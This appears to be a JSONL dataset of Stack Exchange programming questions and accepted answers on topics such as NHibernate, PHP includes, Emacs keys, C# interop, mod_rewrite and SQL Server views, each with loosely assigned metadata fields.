{"id": "hf_c4f9c0fff2c8", "question": "<p>I'm quite new to NHibernate and starting to find my way around.</p>\n\n<p>I have a domain model that is somewhat like a tree.</p>\n\n<p>Funds have Periods have Selections have Audits<br>\nNow I would like to get all Audits for a specific Fund</p>\n\n<p>Would look like this if I made it in SQL</p>\n\n<p>SELECT A.*<br>\nFROM Audit A<br>\nJOIN Selection S ON A.fkSelectionID = S.pkID<br>\nJOIN Period P ON S.fkPeriodID = P.pkID<br>\nJOIN Fund F ON P.fkFundID = F.pkID<br>\nWHERE F.pkID = 1</p>\n\n<p>All input appreciated!</p>\n", "question_body": "", "answer": "Try this\n```\n```\nselect elements(s.Audits)\nfrom Fund as f inner join Period as p inner join Selection as s  \nwhere f = myFundInstance\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.415812"}
{"id": "hf_9477107b3fb3", "question": "<p>How do you include a file that is more than 2 directories back. I know you can use <code>../index.php</code> to include a file that is 2 directories back, but how do you do it for 3 directories back?\nDoes this make sense?\nI tried <code>.../index.php</code> but it isn't working.</p>\n\n<p>I have a file in <code>/game/forum/files/index.php</code> and it uses PHP include to include a file. Which is located in <code>/includes/boot.inc.php</code>; <code>/</code> being the root directory.</p>\n", "question_body": "", "answer": "```\n```\n../../index.php\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.447777"}
{"id": "hf_07afd5846025", "question": "<p>I'm a Mac user and I've decided to learn Emacs. I've <a href=\"http://steve.yegge.googlepages.com/effective-emacs\" rel=\"noreferrer\">read</a> that to reduce hand strain and improve accuracy the <kbd>CTRL</kbd> and <kbd>CAPS LOCK</kbd> keys should be swapped. How do I do this in Leopard?</p>\n\n<p>Also, in Terminal I have to use the <kbd>ESC</kbd> key to invoke meta. Is there any way to get the alt/option key to invoke meta instead?</p>\n\n<p><strong>update:</strong> While the control key is much easier to hit now, the meta key is also used often enough that its position on my MacBook and Apple Keyboard also deserves attention. In fact, I find that the control key is actually easier to hit, so I've remapped my control key to act as a meta key. Does anyone have a better/more standard solution?</p>\n", "question_body": "", "answer": "Swapping CTRL and CAPS LOCK\nGo into\nSystem Preferences\nEnter the\nKeyboard & Mouse\npreference pane\nIn the\nKeyboard\ntab, click\nModifier Keys...\nSwap the actions for\nCaps Lock\nand\nControl\n.\nUsing ALT/OPTION as META\nIn the menu bar, click\nTerminal\nClick\nPreferences...\nUnder the\nSettings\ntab, go to the\nKeyboard\ntab\nCheck the box labeled\nUse option as meta key\nThat's it! You should be well on your way to becoming an Emacs master!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.507908"}
{"id": "hf_66d4e50e9558", "question": "<p>Given the following C function in a DLL:</p>\n\n<pre><code>char * GetDir(char* path );\n</code></pre>\n\n<p>How would you P/Invoke this function into C# and marshal the char * properly.\n.NET seems to know how to do LPCTSTR but when I can't figure out any marshaling that doesn't cause a NotSupportedException to fire when calling this function.</p>\n", "question_body": "", "answer": "Try\n```\n```\n[DllImport(\"your.dll\", CharSet = CharSet.Ansi)]\nstring GetDir(StringBuilder path);\n```\n```\nstring is automatically marshalled to a zero-terminated string, and with the CharSet property, you tell the Marshaller that it should use ANSI rather than Unicode.\nNote: Use string (or System.String) for a const char*, but StringBuilder for a char*.\nYou can also try MarshalAs, as in\nthis example\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.532445"}
{"id": "hf_018ff6883a3b", "question": "<p>If I can do this, how do I call Java code (methods for instance) from within JavaScript code, in Wicket. </p>\n", "question_body": "", "answer": "Assuming you mean JavaScript running on the client - you cause an HTTP redirect to be made to the server, and have your servlet react to the request for the given URL.\nThis is known as\nAjax\n, and there are a\nnumber\nof\nlibraries\nthat help you do it..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.556611"}
{"id": "hf_1d7b378d3f2a", "question": "<p>I have an HTTP server that returns large bodies in response to POST requests (it is a SOAP server). These bodies are \"streamed\" via chunking. If I encounter an error midway through streaming the response how can I report that error to the client and still keep the connection open? The implementation uses a proprietary HTTP/SOAP stack so I am interested in answers at the HTTP protocol level.</p>\n", "question_body": "", "answer": "Once the server has sent the status line (the very first line of the response) to the client, you can't change the status code of the response anymore. Many servers delay sending the response by buffering it internally until the buffer is full. While the buffer is filling up, you can still change your mind about the response.\nIf your client has access to the response headers, you could use the fact that chunked encoding allows the server to add a trailer with headers after the chunked-encoded body. So, your server, having encountered the error, could gracefully stop sending the body, and then send a trailer that sets some header to some value. Your client would then interpret the presence of this header as a sign that an error happened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.581203"}
{"id": "hf_b36a8203fffa", "question": "<p>I'm trying to create a Crystal Reports formula field (to calculate the percentage change in a price) that will return \"N/A\" if a particular report field is null, but return a number to two decimal places using accounting format (negative numbers surrounded by parentheses) if it is not.</p>\n\n<p>The closest I have been able to manage is this:</p>\n\n<pre><code>If IsNull({ValuationReport.YestPrice}) Then\n    'N/A'\nElse\n    ToText({@Price}/{ValuationReport.YestPrice}*100-100, '###.00', 2)\n</code></pre>\n\n<p>However this represents negative numbers using a negative sign, not parentheses. </p>\n\n<p>I tried format strings like '###.00;(###.00)' and '(###.00)' but these were rejected as invalid. How can I achieve my goal?</p>\n", "question_body": "", "answer": "I think you are looking for\n```\nToText(CCur(@Price}/{ValuationReport.YestPrice}*100-100))\n```\nYou can use\n```\nCCur\n```\nto convert numbers or string to Curency formats.\n```\nCCur(number)\n```\nor\n```\nCCur(string)\n```\nI think this may be what you are looking for,\n```\nReplace (ToText(CCur({field})),\"$\" , \"\")\n```\nthat will give the parentheses for negative numbers\nIt is a little hacky, but I'm not sure CR is very kind in the ways of formatting", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.616657"}
{"id": "hf_bb90062ce09f", "question": "<p>I know this is a really basic question, but I've just started with some basic C++ programming after coding a few projects with high-level languages. </p>\n\n<p>Basically I have three questions:</p>\n\n<ol>\n<li>Why use pointers over normal variables?</li>\n<li>When and where should I use pointers?</li>\n<li>How do you use pointers with arrays?</li>\n</ol>\n", "question_body": "", "answer": "Pointers are one way of getting an indirect reference to another variable.  Instead of holding the\nvalue\nof a variable, they tell you its\naddress\n.  This is particularly useful when dealing with arrays, since using a pointer to the first element in an array (its address) you can quickly find the next element by incrementing the pointer (to the next address location).\nThe best explanation of pointers and pointer arithmetic that I've read is in K & R's\nThe C Programming Language\n.  A good book for beginning learning C++ is\nC++ Primer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.672027"}
{"id": "hf_cb4aed94ce65", "question": "<p>So, I've been living with my cvs repositories for some time. Though there is a thing I miss - if i rename a file that is already in repository, I need to delete the one with old name from there and add the new one. Hence, I loose all my change-history. And sometimes there's a need to rename a file in alredy existing project.</p>\n\n<p>From what I saw, cvs/svn can't handle something like this, or am I wrong? If not, what other source control system would you recommend, that allows the renaming of files? </p>\n", "question_body": "", "answer": "Subversion can do this, but you have to do it with\n```\n```\nsvn move <oldfile> <newfile>\n```\n```\nEdit: And in this decade, we do\n```\ngit mv <oldfile> <newfile>\n```\n, or just use\n```\nmv\n```\nand git usually figures it out on its own.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.696090"}
{"id": "hf_772251360195", "question": "<p>How does one dynamically load a new report from an embedded resource? I have created a reporting project that contains a report as an embedded resource. I added a second report file and use the following code to switch reports:</p>\n\n<pre><code>this.reportViewer1.LocalReport.ReportEmbeddedResource = \"ReportsApplication2.Report2.rdlc\";\nthis.reportViewer1.LocalReport.Refresh();\nthis.reportViewer1.RefreshReport();\n</code></pre>\n\n<p>When this code executes, the original report remains visible in the report viewer.</p>\n\n<p>I have also tried using</p>\n\n<pre><code>LocalReport.LoadReportDefinition\n</code></pre>\n\n<p>but had the same result.</p>\n", "question_body": "", "answer": "The answer: you have to call\n```\n```\n<ReportViewer>.Reset();\n```\n```\nprior to changing the value of ReportEmbeddedResource or calling LoadReportDefinition.\nAfter you do so, you'll also have to call\n```\n```\n<ReportViewer>.LocalReport.DataSources.Add( ... );\n```\n```\nto re-establish the data sources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.768898"}
{"id": "hf_11847001dbd2", "question": "<p>If I open a file using urllib2, like so:</p>\n\n<pre><code>remotefile = urllib2.urlopen('http://example.com/somefile.zip')\n</code></pre>\n\n<p>Is there an easy way to get the file name other then parsing the original URL?</p>\n\n<p>EDIT: changed openfile to urlopen... not sure how that happened.</p>\n\n<p>EDIT2: I ended up using:</p>\n\n<pre><code>filename = url.split('/')[-1].split('#')[0].split('?')[0]\n</code></pre>\n\n<p>Unless I'm mistaken, this should strip out all potential queries as well.</p>\n", "question_body": "", "answer": "Do you mean\n```\nurllib2.urlopen\n```\n?  There is no function called\n```\nopenfile\n```\nin the\n```\nurllib2\n```\nmodule.\nAnyway, use the\n```\nurllib2.urlparse\n```\nfunctions:\n```\n```\n>>> from urllib2 import urlparse\n>>> print urlparse.urlsplit('http://example.com/somefile.zip')\n('http', 'example.com', '/somefile.zip', '', '')\n```\n```\nVoila.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.831361"}
{"id": "hf_cc667d735f39", "question": "<p>In a C++ function I need the compiler to choose a different block if it is compiling for a 64 bit architecture.</p>\n\n<p>I know a way to do it for MSVC++ and g++, so I'll post it as an answer. However I would like to know if there is a better way (more elegant that would work for all compilers/all 64 bits architectures). If there is not a better way, what other predefined macros should I look for in order to be compatible with other compiler/architectures?</p>\n", "question_body": "", "answer": "This works for MSVC++ and\n```\ng++\n```\n:\n```\n```\n#if defined(_M_X64) || defined(__amd64__)\n  // code...\n#endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.879987"}
{"id": "hf_b41583ae72b3", "question": "<p>Thinking in regards to Sliverlight, I would like to know where would be good places to go to get a refresher on 3d space, transforms, matrix manipulation, and all that good stuff.</p>\n", "question_body": "", "answer": "Think I may have found it myself.  Was looking at:\nhttp://msdn.microsoft.com/en-us/library/cc189037(VS.95).aspx\nand\nhttp://www.c-sharpcorner.com/UploadFile/mgold/TransformswithGDIplus09142005064919AM/TransformswithGDIplus.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:22.978208"}
{"id": "hf_cbbc37371a56", "question": "<p>I am trying to use the <code>Directory.GetFiles()</code> method to retrieve a list of files of multiple types, such as <code>mp3</code>'s and <code>jpg</code>'s.  I have tried both of the following with no luck:</p>\n\n<pre><code>Directory.GetFiles(\"C:\\\\path\", \"*.mp3|*.jpg\", SearchOption.AllDirectories);\nDirectory.GetFiles(\"C:\\\\path\", \"*.mp3;*.jpg\", SearchOption.AllDirectories);\n</code></pre>\n\n<p>Is there a way to do this in one call?</p>\n", "question_body": "", "answer": "Nope. Try the following:\n```\n```\nList<string> _searchPatternList = new List<string>();\n    ...\n    List<string> fileList = new List<string>();\n    foreach ( string ext in _searchPatternList )\n    {\n        foreach ( string subFile in Directory.GetFiles( folderName, ext  )\n        {\n            fileList.Add( subFile );\n        }\n    }\n\n    // Sort alpabetically\n    fileList.Sort();\n\n    // Add files to the file browser control    \n    foreach ( string fileName in fileList )\n    {\n        ...;\n    }\n```\n```\nTaken from:\nhttp://blogs.msdn.com/markda/archive/2006/04/20/580075.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.005816"}
{"id": "hf_c59d5cf21a49", "question": "<p>I have a polygon soup of triangles that I would like to construct a BSP tree for.  My current program simply constructs a BSP tree by inserting a random triangle from the model one at a time until all the triangles are consumed, then it checks the depth and breadth of the tree and remembers the best score it achieved (lowest depth, lowest breadth).</p>\n\n<p>By definition, the best depth would be log2(n) (or less if co-planar triangles are grouped?) where n is the number of triangles in my model, and the best breadth would be n (meaning no splitting has occurred).  But, there are certain configurations of triangles for which this pinnacle would never be reached.</p>\n\n<p>Is there an efficient test for checking the quality of my BSP tree?  Specifically, I'm trying to find a way for my program to know it should stop looking for a more optimal construction.</p>\n", "question_body": "", "answer": "Randomly building BSP trees until you chance upon a good one will be really, really inefficient.\nInstead of choosing a tri at random to use as a split-plane, you want to try out several (maybe all of them, or maybe a random sampling) and pick one according to some heuristic. The heuristic is typically based on (a) how balanced the resulting child nodes would be, and (b) how many tris it would split.\nYou can trade off performance and quality by considering a smaller or larger sampling of tris as candidate split-planes.\nBut in the end, you can't hope to get a totally optimal tree for any real-world data so you might have to settle for 'good enough'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.076997"}
{"id": "hf_225d10493f5a", "question": "<p>In Oracle, I can re-create a view with a single statement, as shown here:</p>\n\n<pre><code>CREATE OR REPLACE VIEW MY_VIEW AS\nSELECT SOME_FIELD\nFROM SOME_TABLE\nWHERE SOME_CONDITIONS\n</code></pre>\n\n<p>As the syntax implies, this will drop the old view and re-create it with whatever definition I've given.</p>\n\n<p>Is there an equivalent in MSSQL (SQL Server 2005 or later) that will do the same thing?</p>\n", "question_body": "", "answer": "You can use 'IF EXISTS' to check if the view exists and drop if it does.\n```\nIF EXISTS (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.VIEWS\n        WHERE TABLE_NAME = 'MyView')\n    DROP VIEW MyView\nGO\n\nCREATE VIEW MyView\nAS \n     ....\nGO\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.114377"}
{"id": "hf_f842d56e3d86", "question": "<p>On a 32-bit CPU, an integer is 4 bytes and a short integer is 2 bytes.  If I am writing a C/C++ application that uses many numeric values that will always fit within the provided range of a short integer, is it more efficient to use 4 byte integers or 2 byte integers?</p>\n\n<p>I have heard it suggested that 4 byte integers are more efficient as this fits the bandwidth of the bus from memory to the CPU.  However, if I am adding together two short integers, would the CPU package both values in a single pass in parallel (thus spanning the 4 byte bandwidth of the bus)?</p>\n", "question_body": "", "answer": "Yes, you should definitely use a 32 bit integer on a 32 bit CPU, otherwise it may end up masking off the unused bits (i.e., it will always do the maths in 32 bits, then convert the answer to 16 bits)\nIt won't do two 16 bit operations at once for you, but if you write the code yourself and you're sure it won't overflow, you can do it yourself.\nEdit\n: I should add that it also depends somewhat on your definition of \"efficient\".  While it will be able to do 32-bit operations more quickly, you will of course use twice as much memory.\nIf these are being used for intermediate calculations in an inner loop somewhere, then use 32-bit.  If, however, you're reading this from disk, or even if you just have to pay for a cache miss, it may still work out better to use 16-bit integers.  As with all optimizations, there's only one way to know:\nprofile it\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.139802"}
{"id": "hf_640cf4d03556", "question": "<p>I am just beginning to do research into the feasibility of using Amazon's SimpleDB service as the datastore for RoR application I am planning to build. We will be using EC2 for the web server, and had planned to also use EC2 for the MySQL servers. But now the question is, why not use SimpleDB?</p>\n\n<p>The application will (if successful) need to be very scalable in terms of # of users supported, will need to maintain a simple and efficient code base, and will need to be reliable.</p>\n\n<p>I'm curious as to what the SO communities thoughts are on this.</p>\n", "question_body": "", "answer": "Well, considering simple DB doesn't use SQL, or even have tables, means that it's a completely different beast than MySQL and other SQL-based things (\nhttp://aws.amazon.com/simpledb/\n). There are no constraints, triggers, or joins. Good luck.\nHere's one way of getting it up and running:\nhttp://developer.amazonwebservices.com/connect/entry.jspa?externalID=1242\n(via\nhttp://rubyforge.org/projects/aws-sdb/\n)\nI suppose if you're never going to need to query the data outside of rails, then SimpleDB may prove to be OK. But as it's not a first-class supported DB, you're likely to run into bugs that are difficult to fix. I wouldn't want to run a production rails app in a semi-beta backend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.164312"}
{"id": "hf_99799937e68f", "question": "<p>I'm trying to have the modrewrite rules skip the directory <code>vip</code>. I've tried a number of things as you can see below, but to no avail.</p>\n<pre><code># BEGIN WordPress\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\n#RewriteRule ^vip$ - [PT]\nRewriteRule ^vip/.$ - [PT]\n#RewriteCond %{REQUEST_URI} !/vip \nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n# END WordPress\n</code></pre>\n<p>How do I get modrewrite to entirely ignore the <code>/vip/</code> directory so that all requests pass directly to the folder?</p>\n<h3>Update:</h3>\n<p>As points of clarity:</p>\n<ul>\n<li>It's hosted on Dreamhost</li>\n<li>The folders are within a wordpress directory</li>\n<li>the /vip/ folder contains a webdav .htaccess etc (though I dont think this is important</li>\n</ul>\n", "question_body": "", "answer": "I'm not sure if I understand your objective, but the following might do what you're after?\n```\n```\nRewriteRule ^/vip/(.*)$   /$1?%{QUERY_STRING} [L]\n```\n```\nThis will cause a URL such as\nhttp://www.example.com/vip/fred.html\nto be rewritten without the /vip.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.201748"}
{"id": "hf_ec4721ca8be7", "question": "<p>I am using an asp:Calander and I have an object that has a beginning date and an ending date. I need to get all the dates between these two dates and place them in an array so i can then render corresponding dates on the calander with different CSS</p>\n", "question_body": "", "answer": "```\n```\nDateTime startDate;\nDateTime endDate;\n\nDateTime currentDate = startDate;\nList<DateTime> dates = new List<DateTime> ();\n\nwhile (true)\n{\n    dates.Add (currentDate);\n    if (currentDate.Equals (endDate)) break;\n    currentDate = currentDate.AddDays (1);\n}\n```\n```\nIt assumes that startDate < than endDate, you get the results on the \"dates\" list", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.227577"}
{"id": "hf_4de085a9cc3d", "question": "<p>I want to read all items of a feed in C#. The solutions I've found are only for the latest items like just the last 10 days.</p>\n\n<p>Anybody has a good solution for this? </p>\n", "question_body": "", "answer": "Libraries for reading feeds typically read all the data in the feed, but feeds typically only contain recent data - you need a source of data that includes older items, not a better library for reading the data you have.\nMost entities publish feeds to allow people to track when new content is published, not to make all their data available in a more convenient machine readable format. For this purpose, publishing recent data only makes sense as it saves on bandwidth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.276328"}
{"id": "hf_8288a13f062d", "question": "<p>I use RegexBuddy while working with regular expressions. From its library I copied the regular expression to match URLs. I tested successfully within RegexBuddy. However, when I copied it as Java <code>String</code> flavor and pasted it into Java code, it does not work. The following class prints <code>false</code>: </p>\n\n<pre><code>public class RegexFoo {\n\n    public static void main(String[] args) {\n        String regex = \"\\\\b(https?|ftp|file)://[-A-Z0-9+&amp;@#/%?=~_|!:,.;]*[-A-Z0-9+&amp;@#/%=~_|]\";\n        String text = \"http://google.com\";\n        System.out.println(IsMatch(text,regex));\n}\n\n    private static boolean IsMatch(String s, String pattern) {\n        try {\n            Pattern patt = Pattern.compile(pattern);\n            Matcher matcher = patt.matcher(s);\n            return matcher.matches();\n        } catch (RuntimeException e) {\n        return false;\n    }       \n}   \n}\n</code></pre>\n\n<p>Does anyone know what I am doing wrong?</p>\n", "question_body": "", "answer": "Try the following regex string instead. Your test was probably done in a case-sensitive manner. I have added the lowercase alphas as well as a proper string beginning placeholder.\n```\n```\nString regex = \"^(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]\";\n```\n```\nThis works too:\n```\n```\nString regex = \"\\\\b(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]\";\n```\n```\nNote:\n```\n```\nString regex = \"<\\\\b(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]>\"; // matches <http://google.com>\n\nString regex = \"<^(https?|ftp|file)://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]>\"; // does not match <http://google.com>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.312788"}
{"id": "hf_b021671f9a89", "question": "<p>I have monthly sales figures stored in separate sheets.  I would like to create a plot of sales for multiple products per month.  Each product would be represented in a different colored line on the same chart with each month running along the x axis.</p>\n\n<p>What is the best way to create a single line chart that pulls from the same relative cells on multiple sheets?</p>\n", "question_body": "", "answer": "Use the Chart Wizard.\nOn Step 2 of 4, there is a tab labeled \"Series\". There are 3 fields and a list box on this tab. The list box shows the different series you are already including on the chart. Each series has both a \"Name\" field and a \"Values\" field that is specific to that series. The final field is the \"Category (X) axis labels\" field, which is common to all series.\nClick on the \"Add\" button below the list box. This will add a blank series to your list box. Notice that the values for \"Name\" and for \"Values\" change when you highlight a series in the list box.\nSelect your new series.\nThere is an icon in each field on the right side. This icon allows you to select cells in the workbook to pull the data from. When you click it, the Wizard temporarily hides itself (except for the field you are working in) allowing you to interact with the workbook.\nSelect the appropriate sheet in the workbook and then select the fields with the data you want to show in the chart. The button on the right of the field can be clicked to unhide the wizard.\nHope that helps.\nEDIT: The above applies to 2003 and before. For 2007, when the chart is selected, you should be able to do a similar action using the \"Select Data\" option on the \"Design\" tab of the ribbon. This opens up a dialog box listing the Series for the chart. You can select the series just as you could in Excel 2003, but you must use the \"Add\" and \"Edit\" buttons to define custom series.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.337729"}
{"id": "hf_d31ab8a7e42d", "question": "<p>Normally I program in C# but have been forced to do some work in C++. It seems that the integration with Visual Studio (2008) is really poor compared to C# but I was wondering if there are any good tools, plugins or configurations that can improve the situation.</p>\n\n<p>Another post pointed out the program Visual Assist X, which at least helps with some things such as refactoring (though it is a bit expensive for me). My major problem is, though, that the compile errors give little clue about what is wrong and I spend most of my time figuring out what I did wrong. It just feels like it is possibly to statically check for a lot more errors than VS does out of the box. And why doesn't it provide the blue underlines as with C#, that shouldn't be too hard?!</p>\n\n<p>I realize that half the problem is just the fact that I am new to C++ but I really feel that it can be unreasonably hard to get a program to compile. Are there any tools of this sort out there or are my demands too high?</p>\n", "question_body": "", "answer": "I think there are two possibilities: 1) either you're trying out C++ stuff that is waaay over your knowledge (and consequently, you don't know what you did wrong and how to interpret error messages), 2) you have too high expectations.\nA hint: many subsequent errors are caused by the first error.  When I get a huge list of errors, I usually correct just the first error and recompile.  You'd be amazed how much garbage (in terms of error messages) a missing delimiter or type declaration could produce :)\nIt is difficult to syntactically analyze a C++ program before compilation mainly for two reasons: 1) the C++ grammar is context-dependent, 2) templates are Turing-complete (think of them as of a functional programming language with a weird syntax).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.362771"}
{"id": "hf_f1fa7e8211e2", "question": "<p>I have the following code that won't compile and although there is a way to make it compile I want to understand why it isn't compiling. Can someone enlighten me as to specifically why I get the error message I will post at the end please?</p>\n\n<pre><code>public class Test {\n    public static void main(String args[]) {\n        Test t = new Test();\n        t.testT(null);\n    }\n\n    public &lt;T extends Test&gt; void testT(Class&lt;T&gt; type) {\n        Class&lt;T&gt; testType = type == null ? Test.class : type; //Error here\n        System.out.println(testType);\n    }\n}\n</code></pre>\n\n<p><code>Type mismatch: cannot convert from Class&lt;capture#1-of ? extends Test&gt; to Class&lt;T&gt;</code></p>\n\n<p>By casting <code>Test.class</code> to <code>Class&lt;T&gt;</code> this compiles with an <code>Unchecked cast</code> warning and runs perfectly.</p>\n", "question_body": "", "answer": "Remove the conditional and the error is a little nicer...\n```\n```\npublic class Test {\n    public static void main(String args[]) {\n        Test t = new Test();\n        t.testT(null);\n    }\n\n    public <T extends Test> void testT(Class<T> type) {\n    Class<T> testClass = Test.class;\n        System.out.println(testClass);\n    }\n}\n\nTest.java:10: incompatible types\nfound   : java.lang.Class<Test>\nrequired: java.lang.Class<T>\n        Class<T> testClass = Test.class;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.415765"}
{"id": "hf_6f6250825ddc", "question": "<p>I have a web application where users enter arbitrary sql queries for later batch processing. We want to validate the syntax of the query without actually executing it. Some of the queries will take a long time, which is why we don't want to execute them. I'm using Oracle's dbms_sql.parse to do this.</p>\n\n<p>However, I now have a situation where I need to know the number and type of the result set columns. Is there a way to do this without actually executing the query? That is, to have Oracle parse the query and tell me what the result datatypes/names will be returned when the query is actually executed? I'm using Oracle 10g and and it's a Java 1.5/Servlet 2.4 application.</p>\n\n<p>Edit: The users who enter the queries are already users on the database. They authenticate to my app with their database credentials and the queries are executed using those credentials. Therefore they can't put in any query that they couldn't run by just connecting with sqlplus.</p>\n", "question_body": "", "answer": "You should be able to prepare a SQL query to validate the syntax and get result set metadata.  Preparing a query should not execute it.\n```\n```\nimport java.sql.*;\n. . .\nConnection conn;\n. . .\nPreparedStatement ps = conn.prepareStatement(\"SELECT * FROM foo\");\nResultSetMetadata rsmd = ps.getMetaData();\nint numberOfColumns = rsmd.getColumnCount();\n```\n```\nThen you can get metadata about each column of the result set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.454285"}
